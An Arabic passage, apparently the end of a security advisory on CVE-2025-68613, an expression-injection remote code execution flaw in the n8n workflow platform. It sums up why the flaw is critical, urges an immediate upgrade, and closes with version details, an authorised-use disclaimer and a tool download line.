  • تجاوز الصندوق الرملي OWASP: https://owasp.org/www-community/attacks/Sandbox_Escape

الخلاصة

CVE-2025-68613 هي ثغرة حرجة تتطلب إجراءً فوريًا. مزيج من:

  • قدرة حقن التعبيرات
  • غياب العزل الرملي (Sandboxing)
  • متطلبات صلاحيات منخفضة
  • سطح هجوم واسع (العديد من المستخدمين ينشئون سير العمل)
  • موقع مركزي في البنية التحتية لتقنية المعلومات

...يجعل هذه واحدة من أخطر الثغرات في منصات أتمتة سير العمل.

الحل البسيط: قم بالترقية إلى إصدار مصحح فورًا. لا يوجد عذر للبقاء عرضة لثغرة RCE حرجة عندما تتوفر التصحيحات.


إصدار المستند

|- الإصدار: 1.02 |- تاريخ الإنشاء: 18 ديسمبر 2025 |- آخر تحديث: 26 ديسمبر 2025

  • الحالة: مكتمل
  • المؤلف: The StingR / TechSquad Inc.
  • المنظمة: TechSquad Inc.

إخلاء المسؤولية

يتم تقديم هذا المستند للأغراض التعليمية ولتقييم الأمن المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. تأكد دائمًا من حصولك على التفويض المناسب قبل اختبار أو تقييم أو الوصول إلى الأنظمة التي لا تملكها.


⚠️ تذكير: قم بتحديث نسخ n8n الخاصة بك فورًا إذا كنت تشغل إصدارات عرضة للثغرات.

تنزيل الأداة